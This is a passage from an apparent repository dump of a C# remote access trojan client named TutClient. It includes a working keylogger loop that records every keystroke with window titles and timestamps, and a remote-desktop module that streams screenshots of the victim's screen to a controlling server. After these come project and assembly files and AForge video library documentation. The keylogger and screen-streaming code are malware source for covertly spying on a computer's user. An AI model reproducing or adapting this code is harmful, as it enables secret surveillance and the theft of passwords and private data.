316 | {
317 | if (!setupCompleted) Setup(); //Do the setup of the key maps
318 | while (true) //Loop forever
319 | {
320 | //sleeping for while, this will reduce load on cpu
321 | Thread.Sleep(10);
322 | if (!letRun) continue; //Check the killswitch
323 | for (Int32 i = 0; i < 255; i++) //Loop through the keycodes
324 | {
325 | int keyState = GetAsyncKeyState(i); //Get the state of the key
326 | if (keyState == 1 || keyState == -32767) //Key is pressed / held
327 | {
328 | shiftHeld = Convert.ToBoolean(GetAsyncKeyState(shift_key)); //Get the state of shift
329 | altgrHeld = Convert.ToBoolean(GetAsyncKeyState(altgr_key)); //Get the state of alt+gr
330 | ctrlHeld = Convert.ToBoolean(GetAsyncKeyState(ctrl_key)); //Get the state of control
331 | string append = ""; //The string to append to the log
332 |
333 | if (al.ContainsKey((Keys)i)) //Check if default overrides apply to this key
334 | {
335 | append = al[(Keys)i]; //Get the override string
336 | //Console.WriteLine("Updating Append!");
337 | append = UpdateRealTimeData((Keys)i, append); //Update the changing data labels
338 | if (sf.ContainsKey((Keys)i) && shiftHeld) //Check if we need to do shift overrides
339 | {
340 | append = sf[(Keys)i]; //Apply the shift overrides to the key
341 | //Console.WriteLine("Shift override applied to text");
342 | }
343 | if (ag.ContainsKey((Keys)i) && altgrHeld) //Check if we need to do altgr overrides
344 | {
345 | append = ag[(Keys)i]; //Apply the altgr override to the key
346 | //Console.WriteLine("Alt Gr override applied to text");
347 | }
348 | if (ct.ContainsKey((Keys)i) && ctrlHeld && !altgrHeld) //Check if we need to do control overrides
349 | {
350 | append = ct[(Keys)i]; //Apply control overrides to the key
351 | append = UpdateRealTimeData((Keys)i, append); //Load real time data to the result
352 | //Console.WriteLine("Ctrl override applied to text");
353 | }
354 | }
355 | else //Not in override list
356 | {
357 | append = ""; //Set it to empty
358 | }
359 |
360 | if (LastWindow == GetActiveWindowTitle()) //If the focused window hasn't changed since the last loop
361 | {
362 | if (append != "") //If append isn't empty
363 | {
364 | KeyLog = KeyLog + append; //Add result to the buffer
365 | }
366 | else //Append is empty
367 | {
368 | string currentKey = Convert.ToString((Keys)i); //Convert the current key to string
369 |
370 | if (!Control.IsKeyLocked(Keys.CapsLock) && !shiftHeld) //Key is lower caps is off and no shift is held
371 | {
372 | currentKey = currentKey.ToLower(); //Convert to lower
373 | //Console.WriteLine("Key is lower");
374 | }
375 | else //Should be capital?
376 | {
377 | //Console.WriteLine("Caps: " + (Control.IsKeyLocked(Keys.CapsLock)).ToString());
378 | }
379 |
380 | if (currentKey.ToLower().Contains("shift") || currentKey.ToLower().Contains("menu") || currentKey.ToLower().Contains("control")) //Supress the adding of modifier keys without other key
381 | {
382 | Console.WriteLine("Keys Supressed: " + currentKey); //Should we supress keys?
383 | }
384 | else //Not a modifier key
385 | {
386 | //Apply overrides to the key
387 |
388 | if (sf.ContainsKey((Keys)i) && shiftHeld)
389 | {
390 | currentKey = sf[(Keys)i];
391 | Console.WriteLine("Shift override applied to text");
392 | }
393 |
394 | if (ag.ContainsKey((Keys)i) && altgrHeld)
395 | {
396 | currentKey = ag[(Keys)i];
397 | Console.WriteLine("Alt Gr override applied to text");
398 | }
399 |
400 | if (ct.ContainsKey((Keys)i) && ctrlHeld && !altgrHeld)
401 | {
402 | currentKey = ct[(Keys)i];
403 | currentKey = UpdateRealTimeData((Keys)i, currentKey);
404 | Console.WriteLine("Ctrl override applied to text /normal text/");
405 | }
406 |
407 | KeyLog += currentKey; //Append the result to the keylog
408 | }
409 | }
410 |
411 | }
412 | else //New window focused
413 | {
414 | bool appendMade = false; //True if append is completed
415 | if (append != "") //If append is set
416 | {
417 | //Append the new header and the result to the buffer
418 | KeyLog = KeyLog + "\n[" + GetActiveWindowTitle() + " Time: " + DateTime.Now.ToLongDateString() + " " + DateTime.Now.ToLongTimeString() + "]\n " + append;
419 | appendMade = true; //Append completed
420 | }
421 | else
422 | {
423 | // TODO: Same functionallity as above (should implement a function for it)
424 |
425 | string currentKey = Convert.ToString((Keys)i);
426 | if (!Control.IsKeyLocked(Keys.CapsLock) && !shiftHeld)
427 | {
428 | currentKey = currentKey.ToLower();
429 | Console.WriteLine("Key is lower");
430 | }
431 | else
432 | {
433 | Console.WriteLine("Caps: " + (Control.IsKeyLocked(Keys.CapsLock)).ToString());
434 | }
435 |
436 | if (currentKey.ToLower().Contains("shift") || currentKey.ToLower().Contains("menu") || currentKey.ToLower().Contains("control"))
437 | {
438 | Console.WriteLine("Keys Supressed: " + currentKey);
439 | }
440 | else
441 | {
442 | if (sf.ContainsKey((Keys)i) && shiftHeld)
443 | {
444 | append = sf[(Keys)i];
445 | Console.WriteLine("Shift override applied to text");
446 | }
447 | if (ag.ContainsKey((Keys)i) && altgrHeld)
448 | {
449 | currentKey = ag[(Keys)i];
450 | Console.WriteLine("Alt Gr override applied to text");
451 | }
452 | if (ct.ContainsKey((Keys)i) && ctrlHeld && !altgrHeld)
453 | {
454 | currentKey = ct[(Keys)i];
455 | currentKey = UpdateRealTimeData((Keys)i, currentKey);
456 | Console.WriteLine("Ctrl override applied to text /normal text/");
457 | }
458 |
459 | //Append the new header and the result to the buffer
460 | KeyLog = KeyLog + "\n[" + GetActiveWindowTitle() + " Time: " + DateTime.Now.ToLongDateString() + " " + DateTime.Now.ToLongTimeString() + "]\n " + currentKey;
461 | appendMade = true; //Appended data to the log
462 | }
463 | }
464 |
465 | if (appendMade) LastWindow = GetActiveWindowTitle(); //Set the last window title if a new header is appended
466 | }
467 |
468 | break; //Break out of the loop, key found and handled
469 | }
470 | }
471 | }
472 | }
473 |
474 | ///
475 | /// Get the title of the focused window
476 | ///
477 | /// The title of the focused window
478 | private static string GetActiveWindowTitle()
479 | {
480 | const int nChars = 256; //The length of the buffer
481 | StringBuilder Buff = new StringBuilder(nChars); //The buffer to store the title in
482 | IntPtr handle = GetForegroundWindow(); //Get the handle of the focused window
483 |
484 | if (GetWindowText(handle, Buff, nChars) > 0) //Get the window title and check the resulting number of chars
485 | {
486 | return Buff.ToString(); //Return the title of the window
487 | }
488 | return null; //Return null
489 | }
490 | }
491 | }
492 |
--------------------------------------------------------------------------------
/TutClient/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("TutClient")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("TutClient")]
13 | [assembly: AssemblyCopyright("Copyright © 2015")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("6d9e8852-e86c-4e36-9cb4-b3c3853ed6b8")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/TutClient/RDesktop.cs:
--------------------------------------------------------------------------------
1 | using System; //For basic system functions
2 | using System.Threading; //For threads
3 | using System.Drawing.Imaging; //For image conversion
4 | using System.Drawing; //For graphics
5 | using System.Runtime.InteropServices; //For p/invoke
6 | using System.Windows.Forms; //For controls
7 |
8 | ///
9 | /// The R.A.T Namespace
10 | ///
11 | namespace TutClient
12 | {
13 | ///
14 | /// Remote Desktop Module
15 | ///
16 | class RDesktop
17 | {
18 | ///
19 | /// True if we want to shutdown the streaming
20 | ///
21 | public static bool isShutdown = false;
22 | ///
23 | /// and Converter
24 | ///
25 | private static ImageConverter convert = new ImageConverter();
26 | ///
27 | /// The byte array representation of the image
28 | ///
29 | private static byte[] img;
30 |
31 | ///
32 | /// Start sending screen images to the server
33 | ///
34 | public static void StreamScreen()
35 | {
36 | while (true) //Infinite loop
37 | {
38 | if (isShutdown) //Check if we need to stop
39 | {
40 | break;
41 | }
42 | try
43 | {
44 |
45 | img = (byte[])convert.ConvertTo(Desktop(), typeof(byte[])); //Convert the desktop image to bytes
46 | if (img != null) //If we have an image
47 | Program.SendScreen(img); //Send the screen data to the server
48 | Array.Clear(img, 0, img.Length); //Clear the bytes array of the image
49 |
50 | Thread.Sleep(Program.fps); //Use the specified FPS
51 | }
52 | catch //Something went wrong
53 | {
54 | isShutdown = true; //Exit the loop
55 | break;
56 | }
57 | }
58 | }
59 |
60 | ///
61 | /// Get the image of a desktop
62 | ///
63 | /// The image of the desktop
64 | private static Bitmap Desktop()
65 | {
66 | try
67 | {
68 | // TODO: remove 2 if statements -> 1 if statement
69 | if (Program.ScreenNumber == 0) //No other screen specified
70 | {
71 | Rectangle bounds = Screen.PrimaryScreen.Bounds; //Get the size of the screen
72 | Bitmap screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb); //Create a bitmap holder
73 |
74 | using (Graphics graph = Graphics.FromImage(screenshot)) //Load the holder into graphics
75 | {
76 | graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy); //Take the screenshot
77 | }
78 |
79 | //Free resources
80 | GC.Collect();
81 | GC.WaitForPendingFinalizers();
82 | Thread.SpinWait(5000);
83 |
84 | return screenshot; //Return the image of the desktop
85 | }
86 | else //A screen is selected
87 | {
88 | //Create a bitmap holder for the specified screen
89 | Bitmap bmpScreenshot = new Bitmap(Screen.AllScreens[Program.ScreenNumber].Bounds.Width, Screen.AllScreens[Program.ScreenNumber].Bounds.Height, PixelFormat.Format32bppArgb);
90 | using (Graphics graph = Graphics.FromImage(bmpScreenshot)) //Load the holder into Graphics
91 | {
92 | //Take the screenshot
93 | graph.CopyFromScreen(Screen.AllScreens[Program.ScreenNumber].Bounds.X, Screen.AllScreens[1].Bounds.Y, 0, 0, Screen.AllScreens[Program.ScreenNumber].Bounds.Size, CopyPixelOperation.SourceCopy);
94 | }
95 |
96 | //Free resources
97 | GC.Collect();
98 | GC.WaitForPendingFinalizers();
99 | Thread.SpinWait(5000);
100 |
101 | return bmpScreenshot; //Return the image of the specified desktop
102 | }
103 | }
104 | catch //Something went wrong
105 | {
106 | //Get the handle of the desktop window
107 | IntPtr desktopHwnd = FindWindowEx(GetDesktopWindow(), IntPtr.Zero, "Progman", "Program Manager");
108 |
109 | // get the desktop dimensions
110 | var rect = new Rectangle();
111 | GetWindowRect(desktopHwnd, ref rect);
112 |
113 | // saving the screenshot to a bitmap
114 | var bmp = new Bitmap(rect.Width, rect.Height);
115 | Graphics memoryGraphics = Graphics.FromImage(bmp);
116 | IntPtr dc = memoryGraphics.GetHdc();
117 | PrintWindow(desktopHwnd, dc, 0);
118 | memoryGraphics.ReleaseHdc(dc);
119 |
120 | //Free resources
121 | GC.Collect();
122 | GC.WaitForPendingFinalizers();
123 | Thread.SpinWait(5000);
124 |
125 | return bmp; //Return the image of the desktop
126 | }
127 |
128 | }
129 |
130 | ///
131 | /// Get the image of a window
132 | ///
133 | /// Handle of the window
134 | /// Pointer to the buffer to save the data to
135 | /// The flags of the print
136 | /// The result of the screenshot
137 | [DllImport("User32.dll", SetLastError = true)]
138 | [return: MarshalAs(UnmanagedType.Bool)]
139 | static extern bool PrintWindow(IntPtr hwnd, IntPtr hdc, uint nFlags);
140 | ///
141 | /// Get the rectangle bounds of a window
142 | ///
143 | /// The handle of the window
144 | /// A reference to the Rectangle object to save the data to
145 | /// The result of getting the bounds of the window
146 | [DllImport("user32.dll")]
147 | static extern bool GetWindowRect(IntPtr handle, ref Rectangle rect);
148 | ///
149 | /// Get the handle of the desktop window
150 | ///
151 | /// The handle of the desktop window
152 | [DllImport("user32.dll", EntryPoint = "GetDesktopWindow")]
153 | static extern IntPtr GetDesktopWindow();
154 | ///
155 | /// Find a child window
156 | ///
157 | /// The handle of the parent window
158 | /// The handle of the child to get the child window after
159 | /// Class name of the window
160 | /// Title string of the window
161 | /// The handle to the child window
162 | [DllImport("user32.dll", CharSet = CharSet.Unicode)]
163 | static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string lclassName, string windowTitle);
164 |
165 | }
166 | }
167 |
168 |
--------------------------------------------------------------------------------
/TutClient/TutClient.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {D5BD986E-849B-4558-B666-E81B2C219902}
8 | Exe
9 | Properties
10 | TutClient
11 | TutClient
12 | v4.5
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | true
36 | bin\x64\Debug\
37 | DEBUG;TRACE
38 | full
39 | x64
40 | prompt
41 | MinimumRecommendedRules.ruleset
42 | true
43 |
44 |
45 | bin\x64\Release\
46 | TRACE
47 | true
48 | pdbonly
49 | x64
50 | prompt
51 | MinimumRecommendedRules.ruleset
52 | true
53 |
54 |
55 | app.manifest
56 |
57 |
58 |
59 | False
60 | bin\Debug\AForge.dll
61 |
62 |
63 | False
64 | bin\Debug\AForge.Video.dll
65 |
66 |
67 | False
68 | bin\Debug\AForge.Video.DirectShow.dll
69 |
70 |
71 | ..\..\appCom\appCom\bin\Debug\appCom.dll
72 |
73 |
74 | False
75 | bin\Debug\NAudio.dll
76 |
77 |
78 |
79 |
80 | ..\..\..\..\Documents\Visual Studio 2013\Projects\SzamlaProg\SzamlaProg\bin\Debug\System.Data.SQLite.dll
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 | ..\..\..\..\Downloads\urlhist\UrlHistoryLibrary\bin\Debug\UrlHistoryLibrary.dll
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | {F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}
110 | 1
111 | 0
112 | 0
113 | tlbimp
114 | False
115 | True
116 |
117 |
118 | {50A7E9B0-70EF-11D1-B75A-00A0C90564FE}
119 | 1
120 | 0
121 | 0
122 | tlbimp
123 | False
124 | True
125 |
126 |
127 |
128 |
135 |
--------------------------------------------------------------------------------
/TutClient/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | true
18 |
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/TutClient/bin/Debug/AForge.Video.DirectShow.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/AForge.Video.DirectShow.dll
--------------------------------------------------------------------------------
/TutClient/bin/Debug/AForge.Video.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/AForge.Video.dll
--------------------------------------------------------------------------------
/TutClient/bin/Debug/AForge.Video.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | AForge.Video
5 |
6 |
7 |
8 |
9 | Proxy video source for asynchronous processing of another nested video source.
10 |
11 |
12 | The class represents a simple proxy, which wraps the specified
13 | with the aim of asynchronous processing of received video frames. The class intercepts
14 | event from the nested video source and fires it to clients from its own thread, which is different from the thread
15 | used by nested video source for video acquisition. This allows clients to perform processing of video frames
16 | without blocking video acquisition thread, which continue to run and acquire next video frame while current is still
17 | processed.
18 |
19 | For example, let’s suppose that it takes 100 ms for the nested video source to acquire single frame, so the original
20 | frame rate is 10 frames per second. Also let’s assume that we have an image processing routine, which also takes
21 | 100 ms to process a single frame. If the acquisition and processing are done sequentially, then resulting
22 | frame rate will drop to 5 frames per second. However, if doing both in parallel, then there is a good chance to
23 | keep resulting frame rate equal (or close) to the original frame rate.
24 |
25 | The class provides a bonus side effect - easer debugging of image processing routines, which are put into
26 | event handler. In many cases video source classes fire their
27 | event from a try/catch block, which makes it very hard to spot error made in user's code - the catch block simply
28 | hides exception raised in user’s code. The does not have any try/catch blocks around
29 | firing of event, so always user gets exception in the case it comes from his code. At the same time
30 | nested video source is not affected by the user's exception, since it runs in different thread.
31 |
32 | Sample usage:
33 |
34 | // usage of AsyncVideoSource is the same as usage of any
35 | // other video source class, so code change is very little
36 |
37 | // create nested video source, for example JPEGStream
38 | JPEGStream stream = new JPEGStream( "some url" );
39 | // create async video source
40 | AsyncVideoSource asyncSource = new AsyncVideoSource( stream );
41 | // set NewFrame event handler
42 | asyncSource.NewFrame += new NewFrameEventHandler( video_NewFrame );
43 | // start the video source
44 | asyncSource.Start( );
45 | // ...
46 |
47 | private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )
48 | {
49 | // get new frame
50 | Bitmap bitmap = eventArgs.Frame;
51 | // process the frame
52 | }
53 |
54 |
55 |
56 |
57 |
58 |
59 | Video source interface.
60 |
61 |
62 | The interface describes common methods for different type of video sources.
63 |
64 |
65 |
66 |
67 | Start video source.
68 |
69 |
70 | Starts video source and return execution to caller. Video source
71 | object creates background thread and notifies about new frames with the
72 | help of event.
73 |
74 |
75 |
76 |
77 | Signal video source to stop its work.
78 |
79 |
80 | Signals video source to stop its background thread, stop to
81 | provide new frames and free resources.
82 |
83 |
84 |
85 |
86 | Wait for video source has stopped.
87 |
88 |
89 | Waits for video source stopping after it was signalled to stop using
90 | method.
91 |
92 |
93 |
94 |
95 | Stop video source.
96 |
97 |
98 | Stops video source aborting its thread.
99 |
100 |
101 |
102 |
103 | New frame event.
104 |
105 |
106 | This event is used to notify clients about new available video frame.
107 |
108 | Since video source may have multiple clients, each client is responsible for
109 | making a copy (cloning) of the passed video frame, but video source is responsible for
110 | disposing its own original copy after notifying of clients.
111 |
112 |
113 |
114 |
115 |
116 | Video source error event.
117 |
118 |
119 | This event is used to notify clients about any type of errors occurred in
120 | video source object, for example internal exceptions.
121 |
122 |
123 |
124 |
125 | Video playing finished event.
126 |
127 |
128 | This event is used to notify clients that the video playing has finished.
129 |
130 |
131 |
132 |
133 |
134 | Video source.
135 |
136 |
137 | The meaning of the property depends on particular video source.
138 | Depending on video source it may be a file name, URL or any other string
139 | describing the video source.
140 |
141 |
142 |
143 |
144 | Received frames count.
145 |
146 |
147 | Number of frames the video source provided from the moment of the last
148 | access to the property.
149 |
150 |
151 |
152 |
153 |
154 | Received bytes count.
155 |
156 |
157 | Number of bytes the video source provided from the moment of the last
158 | access to the property.
159 |
160 |
161 |
162 |
163 |
164 | State of the video source.
165 |
166 |
167 | Current state of video source object - running or not.
168 |
169 |
170 |
171 |
172 | Initializes a new instance of the class.
173 |
174 |
175 | Nested video source which is the target for asynchronous processing.
176 |
177 |
178 |
179 |
180 | Initializes a new instance of the class.
181 |
182 |
183 | Nested video source which is the target for asynchronous processing.
184 | Specifies if the object should skip frames from the nested video source
185 | in the case if it is still busy processing the previous video frame.
186 |
187 |
188 |
189 |
190 | Start video source.
191 |
192 |
193 | Starts the nested video source and returns execution to caller. This object creates
194 | an extra thread which is used to fire events, so the image processing could be
195 | done on another thread without blocking video acquisition thread.
196 |
197 |
198 |
199 |
200 | Signal video source to stop its work.
201 |
202 |
203 | Signals video source to stop its background thread, stop to
204 | provide new frames and free resources.
205 |
206 |
207 |
208 |
209 | Wait for video source has stopped.
210 |
211 |
212 | Waits for video source stopping after it was signalled to stop using
213 | method.
214 |
215 |
216 |
217 |
218 | Stop video source.
219 |
220 |
221 | Stops nested video source by calling its method.
222 | See documentation of the particular video source for additional details.
223 |
224 |
225 |
226 |
227 | New frame event.
228 |
229 |
230 | Notifies clients about new available frame from video source.
231 |
232 | This event is fired from a different thread other than the video acquisition thread created
233 | by . This allows nested video frame to continue acquisition of the next
234 | video frame while clients perform processing of the current video frame.
235 |
236 | Since video source may have multiple clients, each client is responsible for
237 | making a copy (cloning) of the passed video frame, because the video source disposes its
238 | own original copy after notifying of clients.
239 |
240 |
241 |
242 |
243 |
244 | Video source error event.
245 |
246 |
247 | This event is used to notify clients about any type of errors occurred in
248 | video source object, for example internal exceptions.
249 |
250 | Unlike event, this event is simply redirected to the corresponding
251 | event of the , so it is fired from the thread of the nested video source.
252 |
253 |
254 |
255 |
256 |
257 | Video playing finished event.
258 |
259 |
260 | This event is used to notify clients that the video playing has finished.
261 |
262 | Unlike event, this event is simply redirected to the corresponding
263 | event of the , so it is fired from the thread of the nested video source.
264 |
265 |
266 |
267 |
268 |
269 | Nested video source which is the target for asynchronous processing.
270 |
271 |
272 | The property is set through the class constructor.
273 |
274 | All calls to this object are actually redirected to the nested video source. The only
275 | exception is the event, which is handled differently. This object gets
276 | event from the nested class and then fires another
277 | event, but from a different thread.
278 |
279 |
280 |
281 |
282 |
283 | Specifies if the object should skip frames from the nested video source when it is busy.
284 |
285 |
286 | Specifies if the object should skip frames from the nested video source
287 | in the case if it is still busy processing the previous video frame in its own thread.
288 |
289 | Default value is set to .
290 |
291 |
292 |
293 |
294 | Video source string.
295 |
296 |
297 | The property is redirected to the corresponding property of ,
298 | so check its documentation to find what it means.
299 |
300 |
301 |
302 |
303 | Received frames count.
304 |
305 |
306 | Number of frames the nested video source received from
307 | the moment of the last access to the property.
308 |
309 |
310 |
311 |
312 |
313 | Received bytes count.
314 |
315 |
316 | Number of bytes the nested video source received from
317 | the moment of the last access to the property.
318 |
319 |
320 |
321 |
322 | Processed frames count.
323 |
324 |
325 | The property keeps the number of processed video frames since the last access to this property.
326 |
327 |
328 | The value of this property equals to in most cases if the
329 | property is set to - every received frame gets processed
330 | sooner or later. However, if the property is set to ,
331 | then value of this property may be lower than the value of the property, which
332 | means that nested video source performs acquisition faster than client perform processing of the received frame
333 | and some frame are skipped from processing.
334 |
335 |
336 |
337 |
338 |
339 | State of the video source.
340 |
341 |
342 | Current state of the video source object - running or not.
343 |
344 |
345 |
346 |
347 | Screen capture video source.
348 |
349 |
350 | The video source constantly captures the desktop screen.
351 |
352 | Sample usage:
353 |
354 | // get entire desktop area size
355 | Rectangle screenArea = Rectangle.Empty;
356 | foreach ( System.Windows.Forms.Screen screen in
357 | System.Windows.Forms.Screen.AllScreens )
358 | {
359 | screenArea = Rectangle.Union( screenArea, screen.Bounds );
360 | }
361 |
362 | // create screen capture video source
363 | ScreenCaptureStream stream = new ScreenCaptureStream( screenArea );
364 |
365 | // set NewFrame event handler
366 | stream.NewFrame += new NewFrameEventHandler( video_NewFrame );
367 |
368 | // start the video source
369 | stream.Start( );
370 |
371 | // ...
372 | // signal to stop
373 | stream.SignalToStop( );
374 | // ...
375 |
376 | private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )
377 | {
378 | // get new frame
379 | Bitmap bitmap = eventArgs.Frame;
380 | // process the frame
381 | }
382 |
383 |
384 |
385 |
386 |
387 |
388 | Initializes a new instance of the class.
389 |
390 |
391 | Screen's rectangle to capture (the rectangle may cover multiple displays).
392 |
393 |
394 |
395 |
396 | Initializes a new instance of the class.
397 |
398 |
399 | Screen's rectangle to capture (the rectangle may cover multiple displays).
400 | Time interval between making screen shots, ms.
401 |
402 |
403 |
404 |
405 | Start video source.
406 |
407 |
408 | Starts video source and return execution to caller. Video source
409 | object creates background thread and notifies about new frames with the
410 | help of event.
411 |
412 | Video source is not specified.
413 |
414 |
415 |
416 |
417 | Signal video source to stop its work.
418 |
419 |
420 | Signals video source to stop its background thread, stop to
421 | provide new frames and free resources.
422 |
423 |
424 |
425 |
426 | Wait for video source has stopped.
427 |
428 |
429 | Waits for source stopping after it was signalled to stop using
430 | method.
431 |
432 |
433 |
434 |
435 | Stop video source.
436 |
437 |
438 | Stops video source aborting its thread.
439 |
440 | Since the method aborts background thread, its usage is highly not preferred
441 | and should be done only if there are no other options. The correct way of stopping camera
442 | is signaling it stop and then
443 | waiting for background thread's completion.
444 |
445 |
446 |
447 |
448 |
449 | Free resource.
450 |
451 |
452 |
453 |
454 |
455 | New frame event.
456 |
457 |
458 | Notifies clients about new available frame from video source.
459 |
460 | Since video source may have multiple clients, each client is responsible for
461 | making a copy (cloning) of the passed video frame, because the video source disposes its
462 | own original copy after notifying of clients.
463 |
464 |
465 |
466 |
467 |
468 | Video source error event.
469 |
470 |
471 | This event is used to notify clients about any type of errors occurred in
472 | video source object, for example internal exceptions.
473 |
474 |
475 |
476 |
477 | Video playing finished event.
478 |
479 |
480 | This event is used to notify clients that the video playing has finished.
481 |
482 |
483 |
484 |
485 |
486 | Video source.
487 |
488 |
489 |
490 |
491 |
492 | Gets or sets the screen capture region.
493 |
494 |
495 | This property specifies which region (rectangle) of the screen to capture. It may cover multiple displays
496 | if those are available in the system.
497 |
498 | The property must be set before starting video source to have any effect.
499 |
500 |
501 |
502 |
503 |
504 | Time interval between making screen shots, ms.
505 |
506 |
507 | The property specifies time interval in milliseconds between consequent screen captures.
508 | Expected frame rate of the stream should be approximately 1000/FrameInteval.
509 |
510 | If the property is set to 0, then the stream will capture screen as fast as the system allows.
511 |
512 | Default value is set to 100.
513 |
514 |
515 |
516 |
517 |
518 | Received frames count.
519 |
520 |
521 | Number of frames the video source provided from the moment of the last
522 | access to the property.
523 |
524 |
525 |
526 |
527 |
528 | Received bytes count.
529 |
530 |
531 | The property is not implemented for this video source and always returns 0.
532 |
533 |
534 |
535 |
536 |
537 | State of the video source.
538 |
539 |
540 | Current state of video source object - running or not.
541 |
542 |
543 |
544 |
545 | MJPEG video source.
546 |
547 |
548 | The video source downloads JPEG images from the specified URL, which represents
549 | MJPEG stream.
550 |
551 | Sample usage:
552 |
553 | // create MJPEG video source
554 | MJPEGStream stream = new MJPEGStream( "some url" );
555 | // set event handlers
556 | stream.NewFrame += new NewFrameEventHandler( video_NewFrame );
557 | // start the video source
558 | stream.Start( );
559 | // ...
560 |
561 |
562 | Some cameras produce HTTP header, which does not conform strictly to
563 | standard, what leads to .NET exception. To avoid this exception the useUnsafeHeaderParsing
564 | configuration option of httpWebRequest should be set, what may be done using application
565 | configuration file.
566 |
567 | <configuration>
568 | <system.net>
569 | <settings>
570 | <httpWebRequest useUnsafeHeaderParsing="true" />
571 | </settings>
572 | </system.net>
573 | </configuration>
574 |
575 |
576 |
577 |
578 |
579 |
580 | Initializes a new instance of the class.
581 |
582 |
583 |
584 |
585 |
586 | Initializes a new instance of the class.
587 |
588 |
589 | URL, which provides MJPEG stream.
590 |
591 |
592 |
593 |
594 | Start video source.
595 |
596 |
597 | Starts video source and return execution to caller. Video source
598 | object creates background thread and notifies about new frames with the
599 | help of event.
600 |
601 | Video source is not specified.
602 |
603 |
604 |
605 |
606 | Signal video source to stop its work.
607 |
608 |
609 | Signals video source to stop its background thread, stop to
610 | provide new frames and free resources.
611 |
612 |
613 |
614 |
615 | Wait for video source has stopped.
616 |
617 |
618 | Waits for source stopping after it was signalled to stop using
619 | method.
620 |
621 |
622 |
623 |
624 | Stop video source.
625 |
626 |
627 | Stops video source aborting its thread.
628 |
629 | Since the method aborts background thread, its usage is highly not preferred
630 | and should be done only if there are no other options. The correct way of stopping camera
631 | is signaling it stop and then
632 | waiting for background thread's completion.
633 |
634 |
635 |
636 |
637 |
638 | Free resource.
639 |
640 |
641 |
642 |
643 |
644 | New frame event.
645 |
646 |
647 | Notifies clients about new available frame from video source.
648 |
649 | Since video source may have multiple clients, each client is responsible for
650 | making a copy (cloning) of the passed video frame, because the video source disposes its
651 | own original copy after notifying of clients.
652 |
653 |
654 |
655 |
656 |
657 | Video source error event.
658 |
659 |
660 | This event is used to notify clients about any type of errors occurred in
661 | video source object, for example internal exceptions.
662 |
663 |
664 |
665 |
666 | Video playing finished event.
667 |
668 |
669 | This event is used to notify clients that the video playing has finished.
670 |
671 |
672 |
673 |
674 |
675 | Use or not separate connection group.
676 |
677 |
678 | The property indicates to open web request in separate connection group.
679 |
680 |
681 |
682 |
683 | Video source.
684 |
685 |
686 | URL, which provides MJPEG stream.
687 |
688 |
689 |
690 |
691 | Login value.
692 |
693 |
694 | Login required to access video source.
695 |
696 |
697 |
698 |
699 | Password value.
700 |
701 |
702 | Password required to access video source.
703 |
704 |
705 |
706 |
707 | Gets or sets proxy information for the request.
708 |
709 |
710 | The local computer or application config file may specify that a default
711 | proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy
712 | property overridea the local computer or application config file and the instance will use
713 | the proxy settings specified. If no proxy is specified in a config file
714 | and the Proxy property is unspecified, the request uses the proxy settings
715 | inherited from Internet Explorer on the local computer. If there are no proxy settings
716 | in Internet Explorer, the request is sent directly to the server.
717 |
718 |
719 |
720 |
721 |
722 | User agent to specify in HTTP request header.
723 |
724 |
725 | Some IP cameras check what is the requesting user agent and depending
726 | on it they provide video in different formats or do not provide it at all. The property
727 | sets the value of user agent string, which is sent to camera in request header.
728 |
729 |
730 | Default value is set to "Mozilla/5.0". If the value is set to ,
731 | the user agent string is not sent in request header.
732 |
733 |
734 |
735 |
736 |
737 | Received frames count.
738 |
739 |
740 | Number of frames the video source provided from the moment of the last
741 | access to the property.
742 |
743 |
744 |
745 |
746 |
747 | Received bytes count.
748 |
749 |
